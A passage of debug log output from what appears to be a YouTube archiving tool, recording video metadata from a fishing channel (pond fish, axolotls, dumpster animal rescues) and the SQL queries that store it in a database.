4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1964, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", "id" => "32XYlQoTwvg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=32XYlQoTwvg", "playlist_index" => 14, "timestamp" => 1745064031, "title" => "I Found a Monster Living in My Pond…", "upload_date" => "20250419"} 08:29:33.363 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=574.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:33.363 [debug] QUERY OK source="sources" db=0.3ms idle=575.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:33.366 [debug] QUERY OK source="media_items" db=1.8ms idle=576.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 12:00:31Z], 33] 08:29:33.368 [debug] QUERY OK source="media_items" db=1.6ms idle=578.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "5208592c-658c-45be-84fb-8daa1eb43966", "32XYlQoTwvg", false, "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, [], 1964, false, 14, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, false, 98, ~U[2025-04-19 12:00:31Z], ~U[2026-06-02 12:29:33Z], ~U[2026-06-02 12:29:33Z], "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 4 ponds and immediately I caught some sharks, knife fish, redtail catfish, and even freshwater dolphins! But as I kept going the fish were getting even crazier and i caught an extremely expensive platinum redtail catfish, and a piraiba catfish which can get up to 12ft! I added them all into the u-haul which will be used to bring them to the new pond, and I made my way to the 2nd pond which is infested with piranhas! I carefully got in the water and right away I started catching tons of big piranhas including rare albinos ones! But as I kept going all of a sudden the piranhas started attacking me and bit my legs… But I had to keep going to catch out all of the fish in order to bring them to their new home… So I took another net and I managed to catch more piranhas, along with some monster eels, and giant gouramis! Right after that I came across the biggest fish so far which was a hybrid catfish, that had no eyes! I added him into the u-haul and then I caught an extremely rare albinos wells catfish which is known for being able to eat humans! At this point the piranha infested pond was looking pretty empty, so I moved onto the 3rd one which is home to tons of freshwater sharks! As soon as I stepped in the water I was attacked by the sharks and they were running into my legs! So I started netting around to try and catch them and immediately I got some! But there was still a ton inside of the pond, and they weren’t easy to catch! So I kept netting and I managed to catch some other fish including albino plecos, and irwini catfish! After that it seemed like every net I was catching sharks, but after removing over 20 I stopped catching them, which meant that we removed all of them! I decided to moved onto the 4th and final pond which is home to the rarest, deadliest, and biggest fish! I carefully made my way in while trying to avoid the venomous stingrays and the super aggressive catfish. Now since there was so many fish in this pond it was pretty easy to find them, and immediately I caught a bunch of different species of catfish, including redtail catfish, and ripsaw catfish, as well as a stingray! As I kept netting I was catching more and more monster fish to bring to the new pond… But after removing every single fish, there was only 1 left… And it was the giant 5ft long ripsaw catfish that is known for being super aggressive! After many failed attempts I was finally able to get it in the net, but it was fighting super hard! Eventually I tired it out and I managed to get it into the u-haul along with all of the fish we are bringing to the new pond. And after a long drive, the fish made it there safely and I was able to put them into their new home! What fish would you like to see me buy for the pond next?\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found a Monster Living in My Pond…", "32XYlQoTwvg", "https://www.youtube.com/watch?v=32XYlQoTwvg", 33, 1964, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e041900 - I Found a Monster Living in My Pond….mkv", false, ~U[2025-04-19 12:00:31Z]] 08:29:33.369 [debug] QUERY OK source="sources" db=0.1ms idle=99.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:33.369 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:33.369 [debug] QUERY OK source="media_items" db=0.1ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118981] 08:29:33.370 [debug] Current batch of media processed. Will check again in 1000ms 08:29:34.370 [debug] Current batch of media processed. Will check again in 1000ms 08:29:35.372 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1780, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", "id" => "m6aOMjI6w1o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m6aOMjI6w1o", "playlist_index" => 15, "timestamp" => 1742041322, "title" => "I Found Axolotls in a Hidden Tunnel!", "upload_date" => "20250315"} 08:29:35.373 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=585.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:35.375 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=586.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:35.377 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=587.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-15 12:22:02Z], 33] 08:29:35.379 [debug] QUERY OK source="media_items" db=1.1ms idle=590.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "95586631-ece2-4810-a2e4-3e88d3e158b0", "m6aOMjI6w1o", false, "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, [], 1780, false, 15, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, false, 98, ~U[2025-03-15 12:22:02Z], ~U[2026-06-02 12:29:35Z], ~U[2026-06-02 12:29:35Z], "In today’s video, I find axolotls in a hidden tunnel, along with a ton of other crazy fish, alligators, turtles, and snakes! It all started when I carefully entered the dangerous tunnel, and right away I found a bunch of animals including crawfish, turtles, and even baby axolotls! But our goal was to find some a lot bigger, so we kept going! Not long after that, I found more crazy animals including lungfish, crabs, pufferfish, and much more! But suddenly things took a turn when I caught a fish that has been attacked… so I continued my search to see what caused it, and eventually I was able to find a scary snake that is known to eat fish, so I caught it out and removed it! As I kept going I found more salamanders, turtles, and eels… But then suddenly we had to quickly escape the tunnel after seeing a monster alligator! So, I decided to explore the next hidden tunnel where I found a ton of rare monster fish, including catfish, bichirs, and blue crawfish! But once again we weren’t able to explore the entire tunnel because we heard another alligator! But thankfully we were able to get out of there safely and make our way to the final tunnel which is filled with deadly stonefish! As I made my way into the tunnel I immediately spotted a bunch of knife fish, albino plecos, mudskippers, and much more! But finally after lots of searching I was able to find a bunch of stonefish which I was able to remove from the tunnel! It was then time to check the 2 fish traps I placed earlier in the video, and inside was a ton of rare fish, turtles, salamanders, and more axolotls! Should I do a part 2 exploring the hidden tunnels?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Axolotls in a Hidden Tunnel!", "m6aOMjI6w1o", "https://www.youtube.com/watch?v=m6aOMjI6w1o", 33, 1780, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e031500 - I Found Axolotls in a Hidden Tunnel!.mkv", false, ~U[2025-03-15 12:22:02Z]] 08:29:35.379 [debug] QUERY OK source="sources" db=0.1ms idle=107.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:35.379 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:35.380 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118982] 08:29:35.380 [debug] Current batch of media processed. Will check again in 1000ms 08:29:36.381 [debug] Current batch of media processed. Will check again in 1000ms 08:29:37.383 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1645, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", "id" => "B18LIIpNx8E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B18LIIpNx8E", "playlist_index" => 16, "timestamp" => 1738335601, "title" => "I Found Live Animals in a Pet Store Dumpster!", "upload_date" => "20250131"} 08:29:37.385 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=596.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:37.386 [debug] QUERY OK source="sources" db=0.4ms idle=598.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:37.388 [debug] QUERY OK source="media_items" db=1.7ms idle=599.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-31 15:00:01Z], 33] 08:29:37.390 [debug] QUERY OK source="media_items" db=1.2ms idle=601.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: 